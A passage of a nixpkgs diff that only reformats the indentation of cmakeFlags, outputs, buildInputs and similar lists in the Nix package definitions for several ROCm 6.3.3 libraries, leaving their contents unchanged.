@@ -124,42 +122,41 @@ stdenv.mkDerivation (finalAttrs: {
   ) "-Wl,--as-needed -L${amd-blis}/lib -lblis-mt -lcblas";
   env.TENSILE_ROCM_ASSEMBLER_PATH = "${stdenv.cc}/bin/clang++";
 
-  cmakeFlags =
-    [
-      (lib.cmakeFeature "CMAKE_BUILD_TYPE" "Release")
-      (lib.cmakeBool "CMAKE_VERBOSE_MAKEFILE" true)
-      (lib.cmakeFeature "CMAKE_EXECUTE_PROCESS_COMMAND_ECHO" "STDERR")
-      (lib.cmakeFeature "CMAKE_Fortran_COMPILER" "${lib.getBin gfortran}/bin/gfortran")
-      (lib.cmakeFeature "CMAKE_Fortran_COMPILER_AR" "${lib.getBin gfortran}/bin/ar")
-      (lib.cmakeFeature "CMAKE_Fortran_COMPILER_RANLIB" "${lib.getBin gfortran}/bin/ranlib")
-      (lib.cmakeFeature "python" "python3")
-      (lib.cmakeFeature "SUPPORTED_TARGETS" gpuTargets')
-      (lib.cmakeFeature "AMDGPU_TARGETS" gpuTargets')
-      (lib.cmakeFeature "GPU_TARGETS" gpuTargets')
-      (lib.cmakeBool "BUILD_WITH_TENSILE" buildTensile)
-      (lib.cmakeBool "ROCM_SYMLINK_LIBS" false)
-      (lib.cmakeFeature "ROCBLAS_TENSILE_LIBRARY_DIR" "lib/rocblas")
-      (lib.cmakeBool "BUILD_WITH_HIPBLASLT" withHipBlasLt)
-      (lib.cmakeBool "BUILD_CLIENTS_TESTS" buildTests)
-      (lib.cmakeBool "BUILD_CLIENTS_BENCHMARKS" buildBenchmarks)
-      (lib.cmakeBool "BUILD_CLIENTS_SAMPLES" buildBenchmarks)
-      (lib.cmakeBool "BUILD_OFFLOAD_COMPRESS" true)
-      # Temporarily set variables to work around upstream CMakeLists issue
-      # Can be removed once https://github.com/ROCm/rocm-cmake/issues/121 is fixed
-      "-DCMAKE_INSTALL_BINDIR=bin"
-      "-DCMAKE_INSTALL_INCLUDEDIR=include"
-      "-DCMAKE_INSTALL_LIBDIR=lib"
-    ]
-    ++ lib.optionals buildTensile [
-      "-DCPACK_SET_DESTDIR=OFF"
-      "-DLINK_BLIS=ON"
-      "-DTensile_CODE_OBJECT_VERSION=default"
-      "-DTensile_LOGIC=asm_full"
-      "-DTensile_LIBRARY_FORMAT=msgpack"
-      (lib.cmakeBool "BUILD_WITH_PIP" false)
-      (lib.cmakeBool "Tensile_SEPARATE_ARCHITECTURES" tensileSepArch)
-      (lib.cmakeBool "Tensile_LAZY_LIBRARY_LOADING" tensileLazyLib)
-    ];
+  cmakeFlags = [
+    (lib.cmakeFeature "CMAKE_BUILD_TYPE" "Release")
+    (lib.cmakeBool "CMAKE_VERBOSE_MAKEFILE" true)
+    (lib.cmakeFeature "CMAKE_EXECUTE_PROCESS_COMMAND_ECHO" "STDERR")
+    (lib.cmakeFeature "CMAKE_Fortran_COMPILER" "${lib.getBin gfortran}/bin/gfortran")
+    (lib.cmakeFeature "CMAKE_Fortran_COMPILER_AR" "${lib.getBin gfortran}/bin/ar")
+    (lib.cmakeFeature "CMAKE_Fortran_COMPILER_RANLIB" "${lib.getBin gfortran}/bin/ranlib")
+    (lib.cmakeFeature "python" "python3")
+    (lib.cmakeFeature "SUPPORTED_TARGETS" gpuTargets')
+    (lib.cmakeFeature "AMDGPU_TARGETS" gpuTargets')
+    (lib.cmakeFeature "GPU_TARGETS" gpuTargets')
+    (lib.cmakeBool "BUILD_WITH_TENSILE" buildTensile)
+    (lib.cmakeBool "ROCM_SYMLINK_LIBS" false)
+    (lib.cmakeFeature "ROCBLAS_TENSILE_LIBRARY_DIR" "lib/rocblas")
+    (lib.cmakeBool "BUILD_WITH_HIPBLASLT" withHipBlasLt)
+    (lib.cmakeBool "BUILD_CLIENTS_TESTS" buildTests)
+    (lib.cmakeBool "BUILD_CLIENTS_BENCHMARKS" buildBenchmarks)
+    (lib.cmakeBool "BUILD_CLIENTS_SAMPLES" buildBenchmarks)
+    (lib.cmakeBool "BUILD_OFFLOAD_COMPRESS" true)
+    # Temporarily set variables to work around upstream CMakeLists issue
+    # Can be removed once https://github.com/ROCm/rocm-cmake/issues/121 is fixed
+    "-DCMAKE_INSTALL_BINDIR=bin"
+    "-DCMAKE_INSTALL_INCLUDEDIR=include"
+    "-DCMAKE_INSTALL_LIBDIR=lib"
+  ]
+  ++ lib.optionals buildTensile [
+    "-DCPACK_SET_DESTDIR=OFF"
+    "-DLINK_BLIS=ON"
+    "-DTensile_CODE_OBJECT_VERSION=default"
+    "-DTensile_LOGIC=asm_full"
+    "-DTensile_LIBRARY_FORMAT=msgpack"
+    (lib.cmakeBool "BUILD_WITH_PIP" false)
+    (lib.cmakeBool "Tensile_SEPARATE_ARCHITECTURES" tensileSepArch)
+    (lib.cmakeBool "Tensile_LAZY_LIBRARY_LOADING" tensileLazyLib)
+  ];
 
   passthru.amdgpu_targets = gpuTargets';
 
diff --git a/pkgs/development/rocm-modules/6/rocdbgapi/default.nix b/pkgs/development/rocm-modules/6/rocdbgapi/default.nix
index 8226f62bf0f3..16ef4b115bdd 100644
--- a/pkgs/development/rocm-modules/6/rocdbgapi/default.nix
+++ b/pkgs/development/rocm-modules/6/rocdbgapi/default.nix
@@ -45,13 +45,12 @@ stdenv.mkDerivation (finalAttrs: {
   pname = "rocdbgapi";
   version = "6.3.3";
 
-  outputs =
-    [
-      "out"
-    ]
-    ++ lib.optionals buildDocs [
-      "doc"
-    ];
+  outputs = [
+    "out"
+  ]
+  ++ lib.optionals buildDocs [
+    "doc"
+  ];
 
   src = fetchFromGitHub {
     owner = "ROCm";
@@ -60,17 +59,16 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-6itfBrWVspobU47aiJAOQoxT8chwrq9scRn0or3bXto=";
   };
 
-  nativeBuildInputs =
-    [
-      cmake
-      rocm-cmake
-      git
-    ]
-    ++ lib.optionals buildDocs [
-      latex
-      doxygen
-      graphviz
-    ];
+  nativeBuildInputs = [
+    cmake
+    rocm-cmake
+    git
+  ]
+  ++ lib.optionals buildDocs [
+    latex
+    doxygen
+    graphviz
+  ];
 
   buildInputs = [
     rocm-comgr
diff --git a/pkgs/development/rocm-modules/6/rocfft/default.nix b/pkgs/development/rocm-modules/6/rocfft/default.nix
index d8ae87d509c1..dc64f6bf3e93 100644
--- a/pkgs/development/rocm-modules/6/rocfft/default.nix
+++ b/pkgs/development/rocm-modules/6/rocfft/default.nix
@@ -39,20 +39,19 @@ stdenv.mkDerivation (finalAttrs: {
   # due to a long period with no terminal output
   buildInputs = [ sqlite ];
 
-  cmakeFlags =
-    [
-      "-DCMAKE_C_COMPILER=hipcc"
-      "-DCMAKE_CXX_COMPILER=hipcc"
-      "-DSQLITE_USE_SYSTEM_PACKAGE=ON"
-      # Manually define CMAKE_INSTALL_<DIR>
-      # See: https://github.com/NixOS/nixpkgs/pull/197838
-      "-DCMAKE_INSTALL_BINDIR=bin"
-      "-DCMAKE_INSTALL_LIBDIR=lib"
-      "-DCMAKE_INSTALL_INCLUDEDIR=include"
-    ]
-    ++ lib.optionals (gpuTargets != [ ]) [
-      "-DAMDGPU_TARGETS=${lib.concatStringsSep ";" gpuTargets}"
-    ];
+  cmakeFlags = [
+    "-DCMAKE_C_COMPILER=hipcc"
+    "-DCMAKE_CXX_COMPILER=hipcc"
+    "-DSQLITE_USE_SYSTEM_PACKAGE=ON"
+    # Manually define CMAKE_INSTALL_<DIR>
+    # See: https://github.com/NixOS/nixpkgs/pull/197838
+    "-DCMAKE_INSTALL_BINDIR=bin"
+    "-DCMAKE_INSTALL_LIBDIR=lib"
+    "-DCMAKE_INSTALL_INCLUDEDIR=include"
+  ]
+  ++ lib.optionals (gpuTargets != [ ]) [
+    "-DAMDGPU_TARGETS=${lib.concatStringsSep ";" gpuTargets}"
+  ];
 
   passthru = {
     test = stdenv.mkDerivation {
diff --git a/pkgs/development/rocm-modules/6/rocmlir/default.nix b/pkgs/development/rocm-modules/6/rocmlir/default.nix
index 13ffe4ada1bd..480b9d2fa48d 100644
--- a/pkgs/development/rocm-modules/6/rocmlir/default.nix
+++ b/pkgs/development/rocm-modules/6/rocmlir/default.nix
@@ -43,13 +43,12 @@ stdenv.mkDerivation (finalAttrs: {
   pname = "rocmlir${suffix}";
   version = "6.3.3";
 
-  outputs =
-    [
-      "out"
-    ]
-    ++ lib.optionals (!buildRockCompiler) [
-      "external"
-    ];
+  outputs = [
+    "out"
+  ]
+  ++ lib.optionals (!buildRockCompiler) [
+    "external"
+  ];
 
   src = fetchFromGitHub {
     owner = "ROCm";
@@ -82,26 +81,25 @@ stdenv.mkDerivation (finalAttrs: {
     ./initparamdata-sort-const.patch
   ];
 
-  cmakeFlags =
-    [
-      "-DLLVM_TARGETS_TO_BUILD=AMDGPU;${llvmNativeTarget}"
-      "-DCMAKE_BUILD_TYPE=Release"
-      "-DLLVM_USE_LINKER=lld"
-      "-DLLVM_ENABLE_ZSTD=FORCE_ON"
-      "-DLLVM_ENABLE_ZLIB=FORCE_ON"
-      "-DLLVM_ENABLE_LIBCXX=ON"
-      "-DLLVM_ENABLE_TERMINFO=ON"
-      "-DROCM_PATH=${clr}"
-      # Manually define CMAKE_INSTALL_<DIR>
-      # See: https://github.com/NixOS/nixpkgs/pull/197838
-      "-DCMAKE_INSTALL_BINDIR=bin"
-      "-DCMAKE_INSTALL_LIBDIR=lib"
-      "-DCMAKE_INSTALL_INCLUDEDIR=include"
-      (lib.cmakeBool "BUILD_FAT_LIBROCKCOMPILER" buildRockCompiler)
-    ]
-    ++ lib.optionals (!buildRockCompiler) [
-      "-DROCM_TEST_CHIPSET=gfx000"
-    ];
+  cmakeFlags = [
+    "-DLLVM_TARGETS_TO_BUILD=AMDGPU;${llvmNativeTarget}"
+    "-DCMAKE_BUILD_TYPE=Release"
+    "-DLLVM_USE_LINKER=lld"
+    "-DLLVM_ENABLE_ZSTD=FORCE_ON"
+    "-DLLVM_ENABLE_ZLIB=FORCE_ON"
+    "-DLLVM_ENABLE_LIBCXX=ON"
+    "-DLLVM_ENABLE_TERMINFO=ON"
+    "-DROCM_PATH=${clr}"
+    # Manually define CMAKE_INSTALL_<DIR>
+    # See: https://github.com/NixOS/nixpkgs/pull/197838
+    "-DCMAKE_INSTALL_BINDIR=bin"
+    "-DCMAKE_INSTALL_LIBDIR=lib"
+    "-DCMAKE_INSTALL_INCLUDEDIR=include"
+    (lib.cmakeBool "BUILD_FAT_LIBROCKCOMPILER" buildRockCompiler)
+  ]
+  ++ lib.optionals (!buildRockCompiler) [
+    "-DROCM_TEST_CHIPSET=gfx000"
+  ];
 
   postPatch = ''
     patchShebangs mlir
diff --git a/pkgs/development/rocm-modules/6/rocprim/default.nix b/pkgs/development/rocm-modules/6/rocprim/default.nix
index 87505bee0d7a..1b92663403c4 100644
--- a/pkgs/development/rocm-modules/6/rocprim/default.nix
+++ b/pkgs/development/rocm-modules/6/rocprim/default.nix
@@ -17,16 +17,15 @@ stdenv.mkDerivation (finalAttrs: {
   pname = "rocprim";
   version = "6.3.3";
 
-  outputs =
-    [
-      "out"
-    ]
-    ++ lib.optionals buildTests [
-      "test"
-    ]
-    ++ lib.optionals buildBenchmarks [
-      "benchmark"
-    ];
+  outputs = [
+    "out"
+  ]
+  ++ lib.optionals buildTests [
+    "test"
+  ]
+  ++ lib.optionals buildBenchmarks [
+    "benchmark"
+  ];
 
   src = fetchFromGitHub {
     owner = "ROCm";
@@ -49,24 +48,23 @@ stdenv.mkDerivation (finalAttrs: {
       gbenchmark
     ];
 
-  cmakeFlags =
-    [
-      "-DCMAKE_BUILD_TYPE=Release"
-      # Manually define CMAKE_INSTALL_<DIR>
-      # See: https://github.com/NixOS/nixpkgs/pull/197838
-      "-DCMAKE_INSTALL_BINDIR=bin"
-      "-DCMAKE_INSTALL_LIBDIR=lib"
-      "-DCMAKE_INSTALL_INCLUDEDIR=include"
-    ]
-    ++ lib.optionals (gpuTargets != [ ]) [
-      "-DAMDGPU_TARGETS=${lib.concatStringsSep ";" gpuTargets}"
-    ]
-    ++ lib.optionals buildTests [
-      "-DBUILD_TEST=ON"
-    ]
-    ++ lib.optionals buildBenchmarks [
-      "-DBUILD_BENCHMARK=ON"
-    ];
+  cmakeFlags = [
+    "-DCMAKE_BUILD_TYPE=Release"
+    # Manually define CMAKE_INSTALL_<DIR>
+    # See: https://github.com/NixOS/nixpkgs/pull/197838
+    "-DCMAKE_INSTALL_BINDIR=bin"
+    "-DCMAKE_INSTALL_LIBDIR=lib"
+    "-DCMAKE_INSTALL_INCLUDEDIR=include"
+  ]
+  ++ lib.optionals (gpuTargets != [ ]) [
+    "-DAMDGPU_TARGETS=${lib.concatStringsSep ";" gpuTargets}"
+  ]
+  ++ lib.optionals buildTests [
+    "-DBUILD_TEST=ON"
+  ]
+  ++ lib.optionals buildBenchmarks [
+    "-DBUILD_BENCHMARK=ON"
+  ];
 
   postInstall =
     lib.optionalString buildTests ''
diff --git a/pkgs/development/rocm-modules/6/rocrand/default.nix b/pkgs/development/rocm-modules/6/rocrand/default.nix
index d0796c1267b8..d58e596d97a8 100644
--- a/pkgs/development/rocm-modules/6/rocrand/default.nix
+++ b/pkgs/development/rocm-modules/6/rocrand/default.nix
@@ -17,16 +17,15 @@ stdenv.mkDerivation (finalAttrs: {
   pname = "rocrand${clr.gpuArchSuffix}";
   version = "6.3.3";
 
-  outputs =
-    [
-      "out"
-    ]
-    ++ lib.optionals buildTests [
-      "test"
-    ]
-    ++ lib.optionals buildBenchmarks [
-      "benchmark"
-    ];
+  outputs = [
+    "out"
+  ]
+  ++ lib.optionals buildTests [
+    "test"
+  ]
+  ++ lib.optionals buildBenchmarks [
+    "benchmark"
+  ];
 
   src = fetchFromGitHub {
     owner = "ROCm";
@@ -49,24 +48,23 @@ stdenv.mkDerivation (finalAttrs: {
       gbenchmark
     ];
 
-  cmakeFlags =
-    [
-      "-DHIP_ROOT_DIR=${clr}"
-      # Manually define CMAKE_INSTALL_<DIR>
-      # See: https://github.com/NixOS/nixpkgs/pull/197838
-      "-DCMAKE_INSTALL_BINDIR=bin"
-      "-DCMAKE_INSTALL_LIBDIR=lib"
-      "-DCMAKE_INSTALL_INCLUDEDIR=include"
-    ]
-    ++ lib.optionals (gpuTargets != [ ]) [
-      "-DAMDGPU_TARGETS=${lib.concatStringsSep ";" gpuTargets}"
-    ]
-    ++ lib.optionals buildTests [
-      "-DBUILD_TEST=ON"
-    ]
-    ++ lib.optionals buildBenchmarks [
-      "-DBUILD_BENCHMARK=ON"
-    ];
+  cmakeFlags = [
+    "-DHIP_ROOT_DIR=${clr}"
+    # Manually define CMAKE_INSTALL_<DIR>
+    # See: https://github.com/NixOS/nixpkgs/pull/197838
+    "-DCMAKE_INSTALL_BINDIR=bin"
+    "-DCMAKE_INSTALL_LIBDIR=lib"
+    "-DCMAKE_INSTALL_INCLUDEDIR=include"
+  ]
+  ++ lib.optionals (gpuTargets != [ ]) [
+    "-DAMDGPU_TARGETS=${lib.concatStringsSep ";" gpuTargets}"
+  ]
+  ++ lib.optionals buildTests [
+    "-DBUILD_TEST=ON"
+  ]
+  ++ lib.optionals buildBenchmarks [
+    "-DBUILD_BENCHMARK=ON"
+  ];
 
   postInstall =
     lib.optionalString buildTests ''
diff --git a/pkgs/development/rocm-modules/6/rocsolver/default.nix b/pkgs/development/rocm-modules/6/rocsolver/default.nix
index a9e06550a8ed..d0d5a00fa788 100644
--- a/pkgs/development/rocm-modules/6/rocsolver/default.nix
+++ b/pkgs/development/rocm-modules/6/rocsolver/default.nix
@@ -35,16 +35,15 @@ stdenv.mkDerivation (finalAttrs: {
   pname = "rocsolver${clr.gpuArchSuffix}";
   version = "6.3.3";
 
-  outputs =
-    [
-      "out"
-    ]
-    ++ lib.optionals buildTests [
-      "test"
-    ]
-    ++ lib.optionals buildBenchmarks [
-      "benchmark"
-    ];
+  outputs = [
+    "out"
+  ]
+  ++ lib.optionals buildTests [
+    "test"
+  ]
+  ++ lib.optionals buildBenchmarks [
+    "benchmark"
+  ];
 
   src = fetchFromGitHub {
     owner = "ROCm";
@@ -53,54 +52,51 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-+sGU+0CB48iolJSyYo+xH36q5LCUp+nKtOYbguzMuhg=";
   };
 
-  nativeBuildInputs =
-    [
-      cmake
-      # no ninja, it buffers console output and nix times out long periods of no output
-      rocm-cmake
-      clr
-    ]
-    ++ lib.optionals (buildTests || buildBenchmarks) [
-      gfortran
-    ];
+  nativeBuildInputs = [
+    cmake
+    # no ninja, it buffers console output and nix times out long periods of no output
+    rocm-cmake
+    clr
+  ]
+  ++ lib.optionals (buildTests || buildBenchmarks) [
+    gfortran
+  ];
 
-  buildInputs =
-    [
-      # FIXME: rocblas and rocsolver can't build in parallel
-      # but rocsolver doesn't need rocblas' offload builds at build time
-      # could we build against a rocblas-minimal?
-      rocblas
-      rocprim
-      rocsparse
-      fmt
-    ]
-    ++ lib.optionals buildTests [
-      gtest
-    ]
-    ++ lib.optionals (buildTests || buildBenchmarks) [
-      lapack-reference
-    ];
+  buildInputs = [
+    # FIXME: rocblas and rocsolver can't build in parallel
+    # but rocsolver doesn't need rocblas' offload builds at build time
+    # could we build against a rocblas-minimal?
+    rocblas
+    rocprim
+    rocsparse
+    fmt
+  ]
+  ++ lib.optionals buildTests [
+    gtest
+  ]
+  ++ lib.optionals (buildTests || buildBenchmarks) [
+    lapack-reference
+  ];
 
-  cmakeFlags =
-    [
-      "-DHIP_CLANG_NUM_PARALLEL_JOBS=4"
-      "-DCMAKE_BUILD_TYPE=Release"
-      "-DCMAKE_VERBOSE_MAKEFILE=ON"
-      # Manually define CMAKE_INSTALL_<DIR>
-      # See: https://github.com/NixOS/nixpkgs/pull/197838
-      "-DCMAKE_INSTALL_BINDIR=bin"
-      "-DCMAKE_INSTALL_LIBDIR=lib"
-      "-DCMAKE_INSTALL_INCLUDEDIR=include"
-    ]
-    ++ lib.optionals (gpuTargets != [ ]) [
-      "-DAMDGPU_TARGETS=${lib.concatStringsSep ";" gpuTargets}"
-    ]
-    ++ lib.optionals buildTests [
-      "-DBUILD_CLIENTS_TESTS=ON"
-    ]
-    ++ lib.optionals buildBenchmarks [
-      "-DBUILD_CLIENTS_BENCHMARKS=ON"
-    ];
+  cmakeFlags = [
+    "-DHIP_CLANG_NUM_PARALLEL_JOBS=4"
+    "-DCMAKE_BUILD_TYPE=Release"
+    "-DCMAKE_VERBOSE_MAKEFILE=ON"
+    # Manually define CMAKE_INSTALL_<DIR>
+    # See: https://github.com/NixOS/nixpkgs/pull/197838
+    "-DCMAKE_INSTALL_BINDIR=bin"
+    "-DCMAKE_INSTALL_LIBDIR=lib"
+    "-DCMAKE_INSTALL_INCLUDEDIR=include"
+  ]
+  ++ lib.optionals (gpuTargets != [ ]) [
+    "-DAMDGPU_TARGETS=${lib.concatStringsSep ";" gpuTargets}"
+  ]
+  ++ lib.optionals buildTests [
+    "-DBUILD_CLIENTS_TESTS=ON"
+  ]
+  ++ lib.optionals buildBenchmarks [
+    "-DBUILD_CLIENTS_BENCHMARKS=ON"
+  ];
 
   postInstall =
     lib.optionalString buildTests ''
diff --git a/pkgs/development/rocm-modules/6/rocsparse/default.nix b/pkgs/development/rocm-modules/6/rocsparse/default.nix
index b4a1ead7608a..ee7fd4d96f15 100644
--- a/pkgs/development/rocm-modules/6/rocsparse/default.nix
+++ b/pkgs/development/rocm-modules/6/rocsparse/default.nix
@@ -22,16 +22,15 @@ stdenv.mkDerivation (finalAttrs: {
   pname = "rocsparse${clr.gpuArchSuffix}";
   version = "6.3.3";
 
-  outputs =
-    [
-      "out"
-    ]
-    ++ lib.optionals (buildTests || buildBenchmarks) [
-      "test"
-    ]
-    ++ lib.optionals buildBenchmarks [
-      "benchmark"
-    ];
+  outputs = [
+    "out"
+  ]
+  ++ lib.optionals (buildTests || buildBenchmarks) [
+    "test"
+  ]
+  ++ lib.optionals buildBenchmarks [
+    "benchmark"
+  ];
 
   src = fetchFromGitHub {
     owner = "ROCm";
@@ -48,38 +47,36 @@ stdenv.mkDerivation (finalAttrs: {
     gfortran
   ];
 
-  buildInputs =
-    [
-      rocprim
-      git
-    ]
-    ++ lib.optionals (buildTests || buildBenchmarks) [
-      gtest
-      boost
-      python3Packages.python
-      python3Packages.pyyaml
-    ];
+  buildInputs = [
+    rocprim
+    git
+  ]
+  ++ lib.optionals (buildTests || buildBenchmarks) [
+    gtest
+    boost
+    python3Packages.python
+    python3Packages.pyyaml
+  ];
 
-  cmakeFlags =
-    [
-      "-DCMAKE_BUILD_TYPE=Release"
-      # Manually define CMAKE_INSTALL_<DIR>
-      # See: https://github.com/NixOS/nixpkgs/pull/197838
-      "-DCMAKE_INSTALL_BINDIR=bin"
-      "-DCMAKE_INSTALL_LIBDIR=lib"
-      "-DCMAKE_INSTALL_INCLUDEDIR=include"
-    ]
-    ++ lib.optionals (gpuTargets != [ ]) [
-      "-DAMDGPU_TARGETS=${lib.concatStringsSep ";" gpuTargets}"
-    ]
-    ++ lib.optionals (buildTests || buildBenchmarks) [
-      "-DBUILD_CLIENTS_TESTS=ON"
-      "-DCMAKE_MATRICES_DIR=/build/source/matrices"
-      "-Dpython=python3"
-    ]
-    ++ lib.optionals buildBenchmarks [
-      "-DBUILD_CLIENTS_BENCHMARKS=ON"
-    ];
+  cmakeFlags = [
+    "-DCMAKE_BUILD_TYPE=Release"
+    # Manually define CMAKE_INSTALL_<DIR>
+    # See: https://github.com/NixOS/nixpkgs/pull/197838
+    "-DCMAKE_INSTALL_BINDIR=bin"
+    "-DCMAKE_INSTALL_LIBDIR=lib"
+    "-DCMAKE_INSTALL_INCLUDEDIR=include"
+  ]
+  ++ lib.optionals (gpuTargets != [ ]) [
+    "-DAMDGPU_TARGETS=${lib.concatStringsSep ";" gpuTargets}"
+  ]
+  ++ lib.optionals (buildTests || buildBenchmarks) [
+    "-DBUILD_CLIENTS_TESTS=ON"
+    "-DCMAKE_MATRICES_DIR=/build/source/matrices"
+    "-Dpython=python3"
+  ]
+  ++ lib.optionals buildBenchmarks [
+    "-DBUILD_CLIENTS_BENCHMARKS=ON"
+  ];
 
   # We have to manually generate the matrices
   postPatch = lib.optionalString (buildTests || buildBenchmarks) ''
diff --git a/pkgs/development/rocm-modules/6/rocthrust/default.nix b/pkgs/development/rocm-modules/6/rocthrust/default.nix
index 06cd7a552aeb..0a5254f60b95 100644
--- a/pkgs/development/rocm-modules/6/rocthrust/default.nix
+++ b/pkgs/development/rocm-modules/6/rocthrust/default.nix
@@ -17,16 +17,15 @@ stdenv.mkDerivation (finalAttrs: {
   pname = "rocthrust";
   version = "6.3.3";
 
-  outputs =
-    [
-      "out"
-    ]
-    ++ lib.optionals buildTests [
-      "test"
-    ]
-    ++ lib.optionals buildBenchmarks [
-      "benchmark"
-    ];
+  outputs = [
+    "out"
+  ]
+  ++ lib.optionals buildTests [
+    "test"
+  ]
+  ++ lib.optionals buildBenchmarks [
+    "benchmark"
+  ];
 
   src = fetchFromGitHub {
     owner = "ROCm";
@@ -46,24 +45,23 @@ stdenv.mkDerivation (finalAttrs: {
     gtest
   ];
 
-  cmakeFlags =
-    [
-      "-DHIP_ROOT_DIR=${clr}"
-      # Manually define CMAKE_INSTALL_<DIR>
-      # See: https://github.com/NixOS/nixpkgs/pull/197838
-      "-DCMAKE_INSTALL_BINDIR=bin"
-      "-DCMAKE_INSTALL_LIBDIR=lib"
-      "-DCMAKE_INSTALL_INCLUDEDIR=include"
-    ]
-    ++ lib.optionals (gpuTargets != [ ]) [
-      "-DAMDGPU_TARGETS=${lib.concatStringsSep ";" gpuTargets}"
-    ]
-    ++ lib.optionals buildTests [
-      "-DBUILD_TEST=ON"
-    ]
-    ++ lib.optionals buildBenchmarks [
-      "-DBUILD_BENCHMARKS=ON"
-    ];
+  cmakeFlags = [
+    "-DHIP_ROOT_DIR=${clr}"
+    # Manually define CMAKE_INSTALL_<DIR>
+    # See: https://github.com/NixOS/nixpkgs/pull/197838
+    "-DCMAKE_INSTALL_BINDIR=bin"
+    "-DCMAKE_INSTALL_LIBDIR=lib"
+    "-DCMAKE_INSTALL_INCLUDEDIR=include"
+  ]
+  ++ lib.optionals (gpuTargets != [ ]) [
+    "-DAMDGPU_TARGETS=${lib.concatStringsSep ";" gpuTargets}"
+  ]
+  ++ lib.optionals buildTests [
+    "-DBUILD_TEST=ON"
+  ]
+  ++ lib.optionals buildBenchmarks [
+    "-DBUILD_BENCHMARKS=ON"
+  ];
 
   postInstall =
     lib.optionalString buildTests ''
diff --git a/pkgs/development/rocm-modules/6/roctracer/default.nix b/pkgs/development/rocm-modules/6/roctracer/default.nix
index c0fe6456df95..e45b340c9a63 100644
--- a/pkgs/development/rocm-modules/6/roctracer/default.nix
+++ b/pkgs/development/rocm-modules/6/roctracer/default.nix
@@ -21,16 +21,15 @@ stdenv.mkDerivation (finalAttrs: {
   pname = "roctracer";
   version = "6.3.3";
 
-  outputs =
-    [
-      "out"
-    ]
-    ++ lib.optionals buildDocs [
-      "doc"
-    ]
-    ++ lib.optionals buildTests [
-      "test"
-    ];
+  outputs = [
+    "out"
+  ]
+  ++ lib.optionals buildDocs [
+    "doc"
+  ]
+  ++ lib.optionals buildTests [
+    "test"
+  ];
 
   src = fetchFromGitHub {
     owner = "ROCm";
@@ -39,15 +38,14 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-GhnF7rqNLQLLB7nzIp0xNqyqBOwj9ZJ+hzzj1EAaXWU=";
   };
 
-  nativeBuildInputs =
-    [
-      cmake
-      clr
-    ]
-    ++ lib.optionals buildDocs [
-      doxygen
-      graphviz
-    ];
+  nativeBuildInputs = [
+    cmake
+    clr
+  ]
+  ++ lib.optionals buildDocs [
+    doxygen
+    graphviz
+  ];
 
   buildInputs = [
     libxml2
@@ -70,14 +68,13 @@ stdenv.mkDerivation (finalAttrs: {
     "-Wno-error=array-bounds"
   ];
 
-  postPatch =
-    ''
-      export HIP_DEVICE_LIB_PATH=${rocm-device-libs}/amdgcn/bitcode
-    ''
-    + lib.optionalString (!buildTests) ''
-      substituteInPlace CMakeLists.txt \
-        --replace "add_subdirectory(test)" ""
-    '';
+  postPatch = ''
+    export HIP_DEVICE_LIB_PATH=${rocm-device-libs}/amdgcn/bitcode
+  ''
+  + lib.optionalString (!buildTests) ''
+    substituteInPlace CMakeLists.txt \
+      --replace "add_subdirectory(test)" ""
+  '';
 
   # Tests always fail, probably need GPU
   # doCheck = buildTests;
diff --git a/pkgs/development/rocm-modules/6/rocwmma/default.nix b/pkgs/development/rocm-modules/6/rocwmma/default.nix
index 623e6878a283..718f45b18519 100644
--- a/pkgs/development/rocm-modules/6/rocwmma/default.nix
+++ b/pkgs/development/rocm-modules/6/rocwmma/default.nix
@@ -21,19 +21,18 @@ stdenv.mkDerivation (finalAttrs: {
   pname = "rocwmma";
   version = "6.3.3";
 
-  outputs =
-    [
-      "out"
-    ]
-    ++ lib.optionals (buildTests || buildBenchmarks) [
-      "test"
-    ]
-    ++ lib.optionals buildBenchmarks [
-      "benchmark"
-    ]
-    ++ lib.optionals buildSamples [
-      "sample"
-    ];
+  outputs = [
+    "out"
+  ]
+  ++ lib.optionals (buildTests || buildBenchmarks) [
+    "test"
+  ]
+  ++ lib.optionals buildBenchmarks [
+    "benchmark"
+  ]
+  ++ lib.optionals buildSamples [
+    "sample"
+  ];
 
   src = fetchFromGitHub {
     owner = "ROCm";
@@ -52,39 +51,37 @@ stdenv.mkDerivation (finalAttrs: {
     clr
   ];
 
-  buildInputs =
-    [
-      openmp
-    ]
-    ++ lib.optionals (buildTests || buildBenchmarks) [
-      rocm-smi
-      gtest
-      rocblas
-    ];
+  buildInputs = [
+    openmp
+  ]
+  ++ lib.optionals (buildTests || buildBenchmarks) [
+    rocm-smi
+    gtest
+    rocblas
+  ];
 
-  cmakeFlags =
-    [
-      "-DOpenMP_C_INCLUDE_DIR=${openmp.dev}/include"
-      "-DOpenMP_CXX_INCLUDE_DIR=${openmp.dev}/include"
-      "-DOpenMP_omp_LIBRARY=${openmp}/lib"
-      "-DROCWMMA_BUILD_TESTS=${if buildTests || buildBenchmarks then "ON" else "OFF"}"
-      "-DROCWMMA_BUILD_SAMPLES=${if buildSamples then "ON" else "OFF"}"
-      # Manually define CMAKE_INSTALL_<DIR>
-      # See: https://github.com/NixOS/nixpkgs/pull/197838
-      "-DCMAKE_INSTALL_BINDIR=bin"
-      "-DCMAKE_INSTALL_LIBDIR=lib"
-      "-DCMAKE_INSTALL_INCLUDEDIR=include"
-    ]
-    ++ lib.optionals (gpuTargets != [ ]) [
-      "-DGPU_TARGETS=${lib.concatStringsSep ";" gpuTargets}"
-    ]
-    ++ lib.optionals buildExtendedTests [
-      "-DROCWMMA_BUILD_EXTENDED_TESTS=ON"
-    ]
-    ++ lib.optionals buildBenchmarks [
-      "-DROCWMMA_BUILD_BENCHMARK_TESTS=ON"
-      "-DROCWMMA_BENCHMARK_WITH_ROCBLAS=ON"
-    ];
+  cmakeFlags = [
+    "-DOpenMP_C_INCLUDE_DIR=${openmp.dev}/include"
+    "-DOpenMP_CXX_INCLUDE_DIR=${openmp.dev}/include"
+    "-DOpenMP_omp_LIBRARY=${openmp}/lib"
+    "-DROCWMMA_BUILD_TESTS=${if buildTests || buildBenchmarks then "ON" else "OFF"}"
+    "-DROCWMMA_BUILD_SAMPLES=${if buildSamples then "ON" else "OFF"}"
+    # Manually define CMAKE_INSTALL_<DIR>
+    # See: https://github.com/NixOS/nixpkgs/pull/197838
+    "-DCMAKE_INSTALL_BINDIR=bin"
+    "-DCMAKE_INSTALL_LIBDIR=lib"
+    "-DCMAKE_INSTALL_INCLUDEDIR=include"
+  ]
